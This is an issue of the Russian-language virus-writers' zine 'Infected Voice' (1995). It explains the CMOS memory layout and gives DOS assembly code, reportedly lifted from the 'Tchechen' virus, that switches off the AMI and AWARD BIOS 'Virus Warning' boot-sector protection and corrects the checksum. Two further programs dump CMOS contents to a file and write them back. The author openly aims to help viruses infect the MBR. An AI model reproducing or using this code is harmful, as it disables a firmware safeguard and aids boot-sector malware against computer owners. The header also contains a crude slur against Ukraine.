         ▀▀▀ Monthly Magazine █ For VirMakers.                  FEB '95
 	 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  ██▀▀▀██  
	  ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   ██ ▀▀██
	   █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     ████ ██
	   █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  ██▄▄▄██
	   ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄ 
	     Copyright , (C),1994-95, by STEALTH group, unLtd.
	     (M)ail: BOX 10, KIEV 148, The CUNTry of fUcKRAINE


  	        Virus Warning :  Enabled ? 
		---------------------------------------- (C) LovinGOD
		Содержание:      1.   Теория 
				 2.   Программа для снятия защиты
				 3,4. Программы для чтения/записи CMOS
		---------------------------------------- ------------
	
		Разработчики AT ,начиная с 386, решили тоже внести 
	свои пять копеек в борьбу с вирусами, а именно - установить
	антивирусную защиту на уровне BIOS, которая, по их представле-
	нию, защищает MBR от несанкционированного доступа.
	Казалось бы, непреодолимая проблема - при попытке записи в MBR
	происходит срабатывание BIOS'овского сторожа, который сообщает
	об этом во всеуслышание, выводя на экран рамку с запросом -
	разрешать или нет ? Будь эта защита у всех установлена, совре-
	менному вирусу никогда бы не видать MBR'а, и я подозреваю, что
	кое-куда многоуважаемый OneHalf не смог сесть именно из-за 
	этого. MBR - место очень укромное и сдавать позиции врагу мы 
	не привыкли.
	 	Суть всех серьезных антивирусных нововведений в том,
	что они порой способны противостоять 99, а то и всем 100 % ви-
	русов, написанных до них. Естественно, сразу же выходит вирус,
	способный выжить в новых условиях, и его безбедное существова-
	ние обеспечивается за счет слепой веры в существующие антиви-
	русы. И так будет до тех пор, пока не будет написан универсаль-
	ный вирус (антивирус), то есть бесконечно.

		Публикуя данный материал, я надеюсь, что American Mega-
	trends и AWARD Software не кинутся заменять всем CMOS'ы, и, 
	живучесть компьютерных организмов, населяющих MBR, заметно 
	увеличится. Более того, теперь вирус, поселившийся в MBR, смо-
	жет сам установить Virus Warning, тем самым оградив себя от
	вмешательства вездесСущих собратьев.
	
 	(Вперемешку с цитатами из NG)
	----------------------------------------------------------------
	Все машины класса AT содержат часы реального времени 
	(RealTimeClock) и 64-байтное ОЗУ с низким потреблением энергии
	(CMOS). В некоторых машинах размер CMOS может составлять 128
	и более байт и содержать различную дополнительную информацию.

		 Эта память хранит различную информацию (см.ниже)

 Адрес    Назначение
╔═══════ ════════════════════════════════════════════════════════════════════╗
║00h-0Dh используются счетчиком реального времени 			     ║
║0Eh     байт состояния самопроверки при включении                           ║
║0Fh     байт состояния сброса                                               ║
║10h     тип гибкого диска        ─────┐                                     ║
║11h     РЕЗЕРВ                        │                                     ║
║12h     тип жесткого диска            │                                     ║
║13h     РЕЗЕРВ                        ╞═  конфигурационная запись,          ║
║14h     байт оборудования             │   защищенная контрольной суммой     ║
║15h-16h размер базовой памяти         │   (10h-20h)                         ║
║17h-18h размер дополнительной памяти  │                                     ║
║19h     тип 1-го жесткого диска       │                                     ║
║1Ah     тип 2-го жесткого диска       │                                     ║
║1Bh-2Dh РЕЗЕРВ                   ─────┘                                     ║
║2Eh-2Fh контрольная сумма энергонезависимого ОЗУ с адреса 10h по 20h        ║
║30h-31h размер дополнительной памяти                                        ║
║32h     текущий век в двоично-десятичном формате (BCD) (т.е. 19h)           ║
║33h     дополнительная информация                                           ║
║34h-3Fh РЕЗЕРВ                                                              ║
╚════════════════════════════════════════════════════════════════════════════╝
      Адреса с 10h по 20h защищены контрольной суммой, для возможности
 определения отказа аккумулятора или неправильной информации в конфигурацион-
 ной записи.  Это простая 16-битная сумма защищенных байт.
      В AMI BIOS'е контрольной суммой защищен дополнительно и третий
 16ричный десяток:  контрольная сумма участка 30-3Dh хранится по адресам 
 3Eh,3Fh (старший,младший) Остальные мной пока не исследовались.
 
      Контрольная сумма, замечу, никакой контрольной суммой НЕ защищена, а
 поэтому ее можно спокойно корректировать, чтобы избежать ругательств при
 загрузке типа "CMOS checksum failure.." или чтото в этом роде.	
      Ранее вирусы просто занимались стиранием CMOS'а и извращением его с
 целью мелких пакостей. Отмечу, что ничего страшного в этих пакостях не на-
 шел - в процессе работы над статьей CMOS моей четверки периодически сбра-
 сывался, хотя для кого-то это может быть и смертельно.
      При несовпадении контрольной суммы CMOS выдается  сообщение об ошибке 
 во время загрузке машины и обнуляет все, что попало - Hard Drive Not 
 Installed, дисководов нет, клавиатура не инсталлирована( вот если бы в
 натуре нечем было "Del" нажать !) 
	
      Похоже, первые 33h адресов представляют интерес только для пакостников,
 мы же заглянем в Reserved Area. Что же там от нас зарезервировано ?
 Тут есть много чего интересного, например BootUp Sequence, Password, Virus
 Warning. Если на вирус напали, у него есть возможность не только закидать
 булыжниками винчестер, но и забаррикадироваться с использованием пароля на
 доступ к машине или установить BootUp Sequence на загрузку сначала с винта.
      О пассвордах  мы поговорим к первому апреля (материальчик уже  готов),
 а сегодня займемся Virus Warning'ом.

      Среди различных типов BIOS наиболее распространены AWARD и AMI BIOS.
 В чем разница:

    Бит Virus Warning		A M I			A W A R D

 1. Местонахождение: 	   	34h			3Ch
 2. Защита установлена: 	Бит 7=1			Бит 7=0
 3. Контрольная сумма:  	3Eh,3Fh 		отсутствует

      Приведенный ниже отрывок содран мною из вируса "Tchechen",
 (С)Russian Bear (надеюсь, автор не будет против), где поселение
 в MBR происходит с предварительным снятием Virus Warning'а.
      	
      Данная процедура оформмлена мной в виде отдельной программы 
(вырезать ниже) :

;==============================================================================
.model tiny
.code
org 100h
start:

██▐█▐▌▌│ VirWarning:

    GetBIOSType:			; получить тип BIOS'а: AWARD или AMI
	mov  bp,offset BIOSnames	; адрес строки имен BIOS'ов
	call ScanBIOSname		; ищем  Megatrends
	jz   AMIisIt			
	add  bp,[bp]
	inc  bp				; следующий элемент списка 
	call ScanBIOSname		; ищем  AWARD
	jz   AWARDIsIt

	jmp  EndWarning			; не AMI и не AWARD

 ;==========================================================================
 ▄▄▄ ScanBIOSname:		; 
				; На входе: bp= адрес строки имен для поиска
	push ax cx si di es ds
	mov  ax,0F000h		; начиная с BIOS'а
	mov  es,ax
	xor  di,di		; со смещения 0000

	push cs			
	pop  ds

	mov  cx,0FFFFh		; как далеко искать
     ScanBIOS:
	push di cx		; сохраним CX - есть вложенный цикл
	mov  si,bp		; начало очередной строки поиска
	inc  si			; 
	xor  cx,cx
	mov  cl,byte ptr ds:[bp] ; размер строки перед строкой, пусть думают,
				 ; что это написано на Паскале !
	repe cmpsb		; сравнивать DS:[SI] и ES:[DI]
				; до первого расхождения
	pop  cx di
	jz   ExitLoop
	inc  di			; ищем далее
	loop ScanBIOS
     ExitLoop:
	pop  ds es di si cx ax
	retn			; End of Procedure
;================================================= начать вырезку ============

				; AMERICAN TRENDS*1.000.000 
▐▐▐▐ AMIIsIt:			; 34h:  X*******    1=ENABLED 0=Нэ энэйблэд
				; 3Eh,3Fh:  	    16 bit Checksum

	mov al,34h		; читаем порт 34H - там находится нужный бит
	out 70h,al
	jmp $+2
	in  al,71h

	test al,80h		; установлен ли Virus Warning ?	
	jz  EndWarning		; нет, это нам и нужно

	sub al,80h		; сбросим бит Virus Warning
	push ax

	mov al,34h		; запишем обратно в порт
	out 70h,al
	jmp $+2
	pop ax
	out 71h,al

CheckSum:			; Подкорректируем 16-битную контрольную сумму
				; Она хранится в портах 3Eh,3Fh.
	mov al,3Fh		; младший байт
	out 70h,al
	jmp $+2
	in al,71h
	sub al,80h		; Без Virus Warning
	pushf
	push ax

	mov al,3Fh
	out 70h,al
	jmp $+2
	pop ax
	out 71h,al

	mov al,3Eh		; старший байт	
	out 70h,al
	jmp $+2
	in  al,71h
	popf
	sbb al,0		; AL-CarryFlag (если произошел заем при вычит.)
	push ax
	
	mov al,3Eh	
	out 70h,al
	jmp $+2
	pop ax
	out 71h,al

	jmp  EndWarning

				; Если компьютер наградили AWARD'ом
▐▐▐ AWARDIsIt:			; Никаких контрольных сумм !!!

	mov al,03Ch		; тут скрывается Warus Virning, т.е. наоборот
	out 70h,al	
	jmp $+2
	in  al,71h
	test al,10000000B	; Disabled=1 Enabled=0
	jnz EndWarning
      Enabled:
      SwitchOff:
	or   al,10000000B	; Единичка означает "снято" (иногда CMOS полез-
				; но не обнулять, а обьединичивать !)
	push ax
	mov al,03ch
	out 70h,al
	jmp $+2
	pop ax
	out 71h,al

EndWarning:
int 20h				; Все! Далее - по вашему тексту

BIOSNames db 10,'Megatrends'
	  db  5,'AWARD'

end start
;=========================================== конец вырезки ===================

				▄▄▄▄ 3 ▄▄▄▄

;=========================================== линия отреза (начало) ===========
; Программа для чтения содержимого 128 байтного CMOS в файл CMOS.DMP
; (C) LovinGOD for the "IV" N5
.model tiny
.code
org 100h
start:

mov ax,3C00h
mov dx,offset Fn
mov cx,0000
int 21h
jc  Error
xchg ax,bx

mov di,offset Cmos
mov cl,00

Read:
	mov al,cl
	out 70h,al
	jmp $+2
	in  al,71h
	stosb
	inc cl
	cmp cl,128
	jbe Read

WriteFile:
	
	mov ah,40h
	mov cx,128
	mov dx,offset Cmos
	int 21h

Error:
     int 20h	

Fn   db 'cmos.dmp',0
Cmos db 128 dup(?)

end start
;========================================== линия отреза (конец) ============

				 ▄▄▄ 4 ▄▄▄

;========================================== линия отреза (начало) ===========
;Программа для записи в CMOS 128 байт из файла CMOS.DMP
; (C)LovinGOD for "Infected Voice"N5
.model tiny			
.code
org 100h
start:

mov ax,3D02h			; открыть файл
mov dx,offset Fn
mov cx,0000
int 21h
jc  Error
xchg ax,bx

mov ah,3fh			; читать 128 байт
mov dx,offset Cmos
mov cx,128
int 21h
jc  Error

mov si,offset Cmos		
mov cl,00

Read:
	mov al,cl
	out 70h,al
	jmp $+2
	lodsb
	out 71h,al
	inc cl
	cmp cl,128
	jbe Read
Error:
	int 20h	

Fn   db 'cmos.dmp',0
Cmos db 128 dup(?)

end start
;===================================== линия отреза (конец) ===================
; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
